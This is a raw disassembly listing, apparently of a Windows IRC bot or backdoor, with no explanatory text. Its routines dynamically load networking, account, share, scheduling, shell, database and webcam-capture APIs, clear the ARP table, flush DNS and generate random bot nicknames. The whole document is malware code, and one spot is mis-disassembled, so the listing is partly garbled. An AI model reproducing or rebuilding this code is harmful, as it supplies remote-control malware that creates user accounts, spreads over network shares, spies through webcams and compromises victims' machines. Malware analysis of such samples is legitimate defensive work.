jz short loc_40A1D6
cmp ds:dword_4CDC24, ebx
jz short loc_40A1D6
cmp ds:dword_4CDBE0, ebx
jz short loc_40A1D6
cmp ds:dword_4CDC20, ebx
jz short loc_40A1D6
cmp ds:dword_4CDC8C, ebx
jz short loc_40A1D6
cmp ds:dword_4CDBD8, ebx
jz short loc_40A1D6
cmp ds:dword_4CDB9C, ebx
jz short loc_40A1D6
cmp ds:dword_4CDC0C, ebx
jz short loc_40A1D6
cmp ds:dword_4CDC7C, ebx
jz short loc_40A1D6
cmp ds:dword_4CDBB0, ebx
jz short loc_40A1D6
cmp eax, ebx
jnz short loc_40A1E0
jmp short loc_40A1D6
; ---------------------------------------------------------------------------
loc_40A1CB: ; CODE XREF: sub_409A01+51Fj
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDCD8, eax
loc_40A1D6: ; CODE XREF: sub_409A01+6BEj
; sub_409A01+6CAj ...
mov ds:dword_4CDCD4, 1
loc_40A1E0: ; CODE XREF: sub_409A01+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A2E5
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov ds:dword_4CDB34, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov ds:dword_4CDABC, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov ds:dword_4CDBC0, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov ds:dword_4CDB6C, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov ds:dword_4CDBCC, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov ds:dword_4CDB90, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov ds:dword_4CDAFC, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov ds:dword_4CDAF4, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov ds:dword_4CDB04, eax
call esi
cmp ds:dword_4CDB34, ebx
mov ecx, ds:dword_4CDB90
mov ds:dword_4CDC2C, eax
jz short loc_40A2C1
cmp ds:dword_4CDABC, ebx
jz short loc_40A2C1
cmp ds:dword_4CDBC0, ebx
jz short loc_40A2C1
cmp ds:dword_4CDB6C, ebx
jz short loc_40A2C1
cmp ds:dword_4CDBCC, ebx
jz short loc_40A2C1
cmp ecx, ebx
jz short loc_40A2C1
cmp ds:dword_4CDAFC, ebx
jz short loc_40A2C1
cmp ds:dword_4CDAF4, ebx
jz short loc_40A2C1
cmp ds:dword_4CDB04, ebx
jz short loc_40A2C1
cmp eax, ebx
jnz short loc_40A2CB
loc_40A2C1: ; CODE XREF: sub_409A01+87Ej
; sub_409A01+886j ...
mov ds:dword_4CDCDC, 1
loc_40A2CB: ; CODE XREF: sub_409A01+8BEj
cmp ecx, ebx
jz short loc_40A300
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov ds:dword_4CDBA8, eax
jnz short loc_40A300
jmp short loc_40A2FA
; ---------------------------------------------------------------------------
loc_40A2E5: ; CODE XREF: sub_409A01+7EAj
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDCE0, eax
mov ds:dword_4CDCDC, 1
loc_40A2FA: ; CODE XREF: sub_409A01+8E2j
mov ds:dword_4CDBA8, ebx
loc_40A300: ; CODE XREF: sub_409A01+8CCj
; sub_409A01+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A34A
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov ds:dword_4CDB80, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov ds:dword_4CDCAC, eax
call esi
cmp ds:dword_4CDB80, ebx
mov ds:dword_4CDB10, eax
jz short loc_40A355
cmp ds:dword_4CDCAC, ebx
jz short loc_40A355
cmp eax, ebx
jnz short loc_40A35F
jmp short loc_40A355
; ---------------------------------------------------------------------------
loc_40A34A: ; CODE XREF: sub_409A01+90Aj
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDCE8, eax
loc_40A355: ; CODE XREF: sub_409A01+939j
; sub_409A01+941j ...
mov ds:dword_4CDCE4, 1
loc_40A35F: ; CODE XREF: sub_409A01+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A466
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi
push offset aNetsharedel ; "NetShareDel"
push edi
mov ds:dword_4CDAEC, eax
call esi
push offset aNetshareenum ; "NetShareEnum"
push edi
mov ds:dword_4CDAC4, eax
call esi
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov ds:dword_4CDB3C, eax
call esi
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov ds:dword_4CDB70, eax
call esi
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov ds:dword_4CDC88, eax
call esi
push offset aNetuseradd ; "NetUserAdd"
push edi
mov ds:dword_4CDB24, eax
call esi
push offset aNetuserdel ; "NetUserDel"
push edi
mov ds:dword_4CDAD0, eax
call esi
push offset aNetuserenum ; "NetUserEnum"
push edi
mov ds:dword_4CDAC0, eax
call esi
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov ds:dword_4CDB58, eax
call esi
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov ds:dword_4CDC50, eax
call esi
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov ds:dword_4CDC08, eax
call esi
cmp ds:dword_4CDAEC, ebx
mov ds:dword_4CDB2C, eax
jz short loc_40A471
cmp ds:dword_4CDAC4, ebx
jz short loc_40A471
cmp ds:dword_4CDB3C, ebx
jz short loc_40A471
cmp ds:dword_4CDB70, ebx
jz short loc_40A471
cmp ds:dword_4CDC88, ebx
jz short loc_40A471
cmp ds:dword_4CDB24, ebx
jz short loc_40A471
cmp ds:dword_4CDAD0, ebx
jz short loc_40A471
cmp ds:dword_4CDAC0, ebx
jz short loc_40A471
cmp ds:dword_4CDB58, ebx
jz short loc_40A471
cmp ds:dword_4CDC50, ebx
jz short loc_40A471
cmp ds:dword_4CDC08, ebx
jnz short loc_40A47B
jmp short loc_40A471
; ---------------------------------------------------------------------------
loc_40A466: ; CODE XREF: sub_409A01+969j
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDCF0, eax
loc_40A471: ; CODE XREF: sub_409A01+A11j
; sub_409A01+A19j ...
mov ds:dword_4CDCEC, 1
loc_40A47B: ; CODE XREF: sub_409A01+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A4B0
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov ds:dword_4CDB14, eax
call esi
cmp ds:dword_4CDB14, ebx
mov ds:dword_4CDBF0, eax
jz short loc_40A4BB
cmp eax, ebx
jnz short loc_40A4C5
jmp short loc_40A4BB
; ---------------------------------------------------------------------------
loc_40A4B0: ; CODE XREF: sub_409A01+A85j
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDCF8, eax
loc_40A4BB: ; CODE XREF: sub_409A01+AA7j
; sub_409A01+AADj
mov ds:dword_4CDCF4, 1
loc_40A4C5: ; CODE XREF: sub_409A01+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A4FA
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov ds:dword_4CDC74, eax
call esi
cmp ds:dword_4CDC74, ebx
mov ds:dword_4CDC70, eax
jz short loc_40A505
cmp eax, ebx
jnz short loc_40A50F
jmp short loc_40A505
; ---------------------------------------------------------------------------
loc_40A4FA: ; CODE XREF: sub_409A01+ACFj
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDD00, eax
loc_40A505: ; CODE XREF: sub_409A01+AF1j
; sub_409A01+AF7j
mov ds:dword_4CDCFC, 1
loc_40A50F: ; CODE XREF: sub_409A01+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A56E
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov ds:dword_4CDCA0, eax
call esi
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov ds:dword_4CDC98, eax
call esi
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov ds:dword_4CDC60, eax
call esi
cmp ds:dword_4CDCA0, ebx
mov ds:dword_4CDB30, eax
jz short loc_40A579
cmp ds:dword_4CDC98, ebx
jz short loc_40A579
cmp ds:dword_4CDC60, ebx
jz short loc_40A579
cmp eax, ebx
jnz short loc_40A583
jmp short loc_40A579
; ---------------------------------------------------------------------------
loc_40A56E: ; CODE XREF: sub_409A01+B19j
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDD08, eax
loc_40A579: ; CODE XREF: sub_409A01+B55j
; sub_409A01+B5Dj ...
mov ds:dword_4CDD04, 1
loc_40A583: ; CODE XREF: sub_409A01+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A5B8
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov ds:dword_4CDB64, eax
call esi
cmp ds:dword_4CDB64, ebx
mov ds:dword_4CDC6C, eax
jz short loc_40A5C3
cmp eax, ebx
jnz short loc_40A5CD
jmp short loc_40A5C3
; ---------------------------------------------------------------------------
loc_40A5B8: ; CODE XREF: sub_409A01+B8Dj
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDD10, eax
loc_40A5C3: ; CODE XREF: sub_409A01+BAFj
; sub_409A01+BB5j
mov ds:dword_4CDD0C, 1
loc_40A5CD: ; CODE XREF: sub_409A01+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A656
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov ds:dword_4CDC34, eax
call esi
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov ds:dword_4CDC80, eax
call esi
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov ds:dword_4CDBBC, eax
call esi
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov ds:dword_4CDB74, eax
call esi
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov ds:dword_4CDC14, eax
call esi
cmp ds:dword_4CDC34, ebx
mov ds:dword_4CDB84, eax
jz short loc_40A661
cmp ds:dword_4CDC80, ebx
jz short loc_40A661
cmp ds:dword_4CDBBC, ebx
jz short loc_40A661
cmp ds:dword_4CDB74, ebx
jz short loc_40A661
cmp ds:dword_4CDC14, ebx
jz short loc_40A661
cmp eax, ebx
jnz short loc_40A66B
jmp short loc_40A661
; ---------------------------------------------------------------------------
loc_40A656: ; CODE XREF: sub_409A01+BD7j
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDD18, eax
loc_40A661: ; CODE XREF: sub_409A01+C2Dj
; sub_409A01+C35j ...
mov ds:dword_4CDD14, 1
loc_40A66B: ; CODE XREF: sub_409A01+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A6A0
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov ds:dword_4CDB48, eax
call esi
cmp ds:dword_4CDB48, ebx
mov ds:dword_4CDC28, eax
jz short loc_40A6AB
cmp eax, ebx
jnz short loc_40A6B5
jmp short loc_40A6AB
; ---------------------------------------------------------------------------
loc_40A6A0: ; CODE XREF: sub_409A01+C75j
call ds:dword_42808C ; RtlGetLastWin32Error
mov ds:dword_4CDD20, eax
loc_40A6AB: ; CODE XREF: sub_409A01+C97j
; sub_409A01+C9Dj
mov ds:dword_4CDD1C, 1
loc_40A6B5: ; CODE XREF: sub_409A01+C9Bj
pop edi
xor eax, eax
pop esi
pop ebp
inc eax
pop ebx
retn
sub_409A01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6BD proc near ; CODE XREF: seg000:00403FE8p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp ds:dword_4CDCB4, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A705
push ds:dword_4CDCB8
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A705: ; CODE XREF: sub_40A6BD+1Aj
cmp ds:dword_4CDCBC, esi
jz short loc_40A739
push ds:dword_4CDCC0
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A739: ; CODE XREF: sub_40A6BD+4Ej
cmp ds:dword_4CDCC4, esi
jz short loc_40A76D
push ds:dword_4CDCC8
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A76D: ; CODE XREF: sub_40A6BD+82j
cmp ds:dword_4CDCCC, esi
jz short loc_40A7A1
push ds:dword_4CDCD0
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A7A1: ; CODE XREF: sub_40A6BD+B6j
cmp ds:dword_4CDCD4, esi
jz short loc_40A7D5
push ds:dword_4CDCD8
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A7D5: ; CODE XREF: sub_40A6BD+EAj
cmp ds:dword_4CDCDC, esi
jz short loc_40A809
push ds:dword_4CDCE0
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A809: ; CODE XREF: sub_40A6BD+11Ej
cmp ds:dword_4CDCE4, esi
jz short loc_40A83D
push ds:dword_4CDCE8
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A83D: ; CODE XREF: sub_40A6BD+152j
cmp ds:dword_4CDCEC, esi
jz short loc_40A871
push ds:dword_4CDCF0
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A871: ; CODE XREF: sub_40A6BD+186j
cmp ds:dword_4CDCF4, esi
jz short loc_40A8A5
push ds:dword_4CDCF8
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A8A5: ; CODE XREF: sub_40A6BD+1BAj
cmp ds:dword_4CDCFC, esi
jz short loc_40A8D9
push ds:dword_4CDD00
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A8D9: ; CODE XREF: sub_40A6BD+1EEj
cmp ds:dword_4CDD04, esi
jz short loc_40A90D
push ds:dword_4CDD08
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A90D: ; CODE XREF: sub_40A6BD+222j
cmp ds:dword_4CDD0C, esi
jz short loc_40A941
push ds:dword_4CDD10
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A941: ; CODE XREF: sub_40A6BD+256j
cmp ds:dword_4CDD14, esi
jz short loc_40A975
push ds:dword_4CDD18
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A975: ; CODE XREF: sub_40A6BD+28Aj
cmp ds:dword_4CDD1C, esi
jz short loc_40A9A9
push ds:dword_4CDD20
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 20h
loc_40A9A9: ; CODE XREF: sub_40A6BD+2BEj
lea eax, [ebp+var_200]
push offset unk_42E9CC
push eax
call sub_41BA76
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A9D6
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_40A9D6: ; CODE XREF: sub_40A6BD+302j
lea eax, [ebp+var_200]
push eax
call sub_4152AE
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A6BD endp
; =============== S U B R O U T I N E =======================================
sub_40A9E8 proc near ; CODE XREF: sub_401875+4Fp
; seg000:0040770Ap ...
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_4CDC38 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40AA10
push [esp+arg_0]
call ds:dword_4CDC7C ; gethostbyname
test eax, eax
jnz short loc_40AA09
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AA09: ; CODE XREF: sub_40A9E8+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AA10: ; CODE XREF: sub_40A9E8+Dj
retn
sub_40A9E8 endp
; =============== S U B R O U T I N E =======================================
sub_40AA11 proc near ; CODE XREF: sub_401875+D6p
mov ecx, ds:dword_4CDB14
xor eax, eax
test ecx, ecx
jz short locret_40AA1F
jmp ecx
; ---------------------------------------------------------------------------
locret_40AA1F: ; CODE XREF: sub_40AA11+Aj
retn
sub_40AA11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA20 proc near ; CODE XREF: seg000:loc_403F07p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call ds:dword_4CDC74 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz short loc_40AAA7
sub ecx, 32h
jz loc_40AAF1
sub ecx, 48h
jz short loc_40AA7C
sub ecx, 6Eh
jz short loc_40AA75
loc_40AA5E: ; CODE XREF: sub_40AA20+85j
push eax
lea eax, [ebp+var_88]
push offset unk_42EBE0
push eax
call sub_41BA76
add esp, 0Ch
jmp short loc_40AAD2
; ---------------------------------------------------------------------------
loc_40AA75: ; CODE XREF: sub_40AA20+3Cj
push offset unk_42EBBC
jmp short loc_40AAC4
; ---------------------------------------------------------------------------
loc_40AA7C: ; CODE XREF: sub_40AA20+37j
push [ebp+var_8]
call sub_41B6C5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41B780
add esp, 10h
cmp esi, edi
jz short loc_40AABF
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call ds:dword_4CDC74 ; GetIpNetTable
cmp eax, edi
jnz short loc_40AA5E
loc_40AAA7: ; CODE XREF: sub_40AA20+29j
cmp [esi], edi
jbe short loc_40AAE2
lea ebx, [esi+4]
loc_40AAAE: ; CODE XREF: sub_40AA20+9Bj
push ebx
call ds:dword_4CDC70 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40AAAE
jmp short loc_40AAE2
; ---------------------------------------------------------------------------
loc_40AABF: ; CODE XREF: sub_40AA20+75j
push offset unk_42EB8C
loc_40AAC4: ; CODE XREF: sub_40AA20+5Aj
; sub_40AA20+D6j
lea eax, [ebp+var_88]
push eax
call sub_41BA76
pop ecx
pop ecx
loc_40AAD2: ; CODE XREF: sub_40AA20+53j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_4152AE
pop ecx
loc_40AAE2: ; CODE XREF: sub_40AA20+89j
; sub_40AA20+9Dj
push esi
call sub_41B2A1
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40AAF1: ; CODE XREF: sub_40AA20+2Ej
push offset unk_42EB5C
jmp short loc_40AAC4
sub_40AA20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AAF8 proc near ; CODE XREF: seg000:00403CAEp
; seg000:00403DE5p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call ds:dword_4CDB9C ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CDD24
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41BA76
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AAF8 endp
; =============== S U B R O U T I N E =======================================
sub_40AB51 proc near ; CODE XREF: seg000:00412E88p
; seg000:00412ECEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
xor edx, edx
cmp ecx, 1
push esi
jle short loc_40AB7C
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
mov esi, eax
neg esi
lea ecx, [ecx+esi*2]
mov esi, [esp+8+arg_0]
loc_40AB6F: ; CODE XREF: sub_40AB51+26j
movzx edi, word ptr [esi]
add edx, edi
inc esi
inc esi
dec eax
jnz short loc_40AB6F
pop edi
jmp short loc_40AB80
; ---------------------------------------------------------------------------
loc_40AB7C: ; CODE XREF: sub_40AB51+Aj
mov esi, [esp+4+arg_0]
loc_40AB80: ; CODE XREF: sub_40AB51+29j
test ecx, ecx
jz short loc_40AB89
movzx eax, byte ptr [esi]
add edx, eax
loc_40AB89: ; CODE XREF: sub_40AB51+31j
mov ecx, edx
and edx, 0FFFFh
shr ecx, 10h
add ecx, edx
pop esi
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AB51 endp
; =============== S U B R O U T I N E =======================================
sub_40ABA1 proc near ; CODE XREF: sub_40AF07+4Ap
; DATA XREF: seg002:off_42EC28o
arg_0 = dword ptr 4
push esi
push edi
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
call sub_41BAD2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+0Ch+arg_0]
push ds:off_42EC90[edx*4]
push offset aS_2 ; "%s"
push 1Ch
push edi
call sub_41BB70
xor esi, esi
add esp, 14h
cmp ds:dword_42A09C, esi
jle short loc_40AC08
loc_40ABE2: ; CODE XREF: sub_40ABA1+65j
call sub_41BAD2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42CB18
push 1Ch
push edi
call sub_41BB70
add esp, 14h
inc esi
cmp esi, ds:dword_42A09C
jl short loc_40ABE2
loc_40AC08: ; CODE XREF: sub_40ABA1+3Fj
mov eax, edi
pop edi
pop esi
retn
sub_40ABA1 endp
; ---------------------------------------------------------------------------
push esi
push edi
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
mov edi, [esp+10h]
mov dword ptr [esp], offset aLove ; "Love"
push offset aS_2 ; "%s"
push 1Ch
push edi
call sub_41BB70
xor esi, esi
add esp, 10h
cmp ds:dword_42A09C, esi
jle short loc_40AC66
loc_40AC40: ; CODE XREF: seg000:0040AC64j
call sub_41BAD2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42CB18
push 1Ch
push edi
call sub_41BB70
add esp, 14h
inc esi
cmp esi, ds:dword_42A09C
jl short loc_40AC40
loc_40AC66: ; CODE XREF: seg000:0040AC3Ej
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
pop ecx
call sub_41BAD2
push 3
mov ebx, [esp+14h]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, ds:dword_42A09C
test esi, esi
jle short loc_40ACAE
loc_40AC98: ; CODE XREF: seg000:0040ACACj
call sub_41BAD2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40AC98
loc_40ACAE: ; CODE XREF: seg000:0040AC96j
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov dword ptr [ebp-4], 100h
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
pop ecx
lea eax, [ebp-4]
mov esi, offset aPc ; "PC"
push eax
push esi
call near ptr 0B10000h
inc ebp
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41BB70
xor esi, esi
add esp, 0Ch
cmp ds:dword_42A09C, esi
jle short loc_40AD21
loc_40ACFB: ; CODE XREF: seg000:0040AD1Fj
call sub_41BAD2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42CB18
push 1Ch
push edi
call sub_41BB70
add esp, 14h
inc esi
cmp esi, ds:dword_42A09C
jl short loc_40ACFB
loc_40AD21: ; CODE XREF: seg000:0040ACF9j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call ds:dword_4280C4 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset aS_3 ; "%s|"
push 1Ch
push edi
call sub_41BB70
xor esi, esi
add esp, 10h
cmp ds:dword_42A09C, esi
jle short loc_40AD96
loc_40AD70: ; CODE XREF: seg000:0040AD94j
call sub_41BAD2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42CB18
push 1Ch
push edi
call sub_41BB70
add esp, 14h
inc esi
cmp esi, ds:dword_42A09C
jl short loc_40AD70
loc_40AD96: ; CODE XREF: seg000:0040AD6Ej
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset dword_43FDB4
mov dword ptr [ebp-94h], 94h
call ds:dword_4280C8 ; GetVersionExA
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AE20
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AE00
cmp dword ptr [ebp-84h], 1
jnz short loc_40ADF0
mov esi, offset a95 ; "95"
loc_40ADF0: ; CODE XREF: seg000:0040ADE9j
cmp dword ptr [ebp-84h], 2
jnz short loc_40AE5C
